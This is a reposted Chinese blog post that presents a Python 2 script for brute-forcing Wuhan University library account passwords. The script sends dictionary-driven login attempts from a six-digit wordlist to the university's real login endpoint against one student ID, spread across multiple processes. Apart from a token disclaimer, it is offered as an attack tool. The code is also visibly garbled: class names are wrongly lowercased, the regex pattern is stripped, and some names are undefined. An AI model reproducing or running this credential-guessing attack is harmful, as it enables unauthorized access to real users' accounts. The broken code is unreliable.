欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

Python 暴力破解武汉大学图书馆密码程序

程序员文章站 2024-01-24 15:58:16
其他不多说,只上代码,其他就不解释了 切勿用于违法行为 暴力字典详见上一篇博文 由于python中多线程并不能真正提高爬包速度,改为了多进程,感觉还是有些问题,如果有改进意见,欢迎...

其他不多说,只上代码,其他就不解释了

切勿用于违法行为

暴力字典详见上一篇博文

由于python中多线程并不能真正提高爬包速度,改为了多进程,感觉还是有些问题,如果有改进意见,欢迎留下评论==

#!/usr/bin/env python
#coding:utf-8
#by eathings

import urllib
import urllib2
import cookielib
import multiprocessing
import re

class whu_crack(multiprocessing.process):
	def __init__(self, psw):
		self.psw = psw
		self.title = re.compile('(.*?)')

	def start_crack(self):
		for password in self.psw:
			try:
				print password
				cookie = cookielib.cookiejar()
				opener = urllib2.build_opener(urllib2.httpcookieprocessor(cookie))
				url = 'https://metalib.lib.whu.edu.cn/pds'
				data = {
						'func': 'login',
						'calling_system': 'idp_proxy',
						'term1': 'short',
						'selfreg': '',
						'bor_id': '201130xxxxxxx',	#学号
						'bor_verification': password,
						'institute': 'whu',
						'url': 'https://apps.lib.whu.edu.cn/idp_proxy/bor_auth_agent.asp?goto=%2fweb%2flogin%2easp&sp=http%3a%2f%2fwww.hub.calis.edu.cn%3a8090%2famconsole%2fauthservices%2f242010%3fverb%3dsplogin&idp=242010'
						}
				postdata = urllib.urlencode(data)
				req = urllib2.request(url,postdata)
				result = opener.open(req)
				page = result.read()
				info = re.findall(self.title , page)
				try:
					if re.match('relocate', info[0]):
						print password
						xx = raw_input()
					sys.exit(1)
				except:
					pass
			except exception, e:
				print "error"+ e

if __name__ == "__main__":
	file = open('six_nums_dict.txt')#暴力字典
	lines = []
	for line in file:
		lines.append(line.rstrip())
	file.close()
	num = 25
	print len(lines)
	block = len(lines)/num
	jobs = []
	for i in range(num):
		if i == num:
			psw = lines[block*i:]
		else:
			psw = lines[block*i : block*(i+1)]
		p = whu_crack(psw)
		jobs.append(p)
		p.start_crack()
	for i in jobs:
		j.join()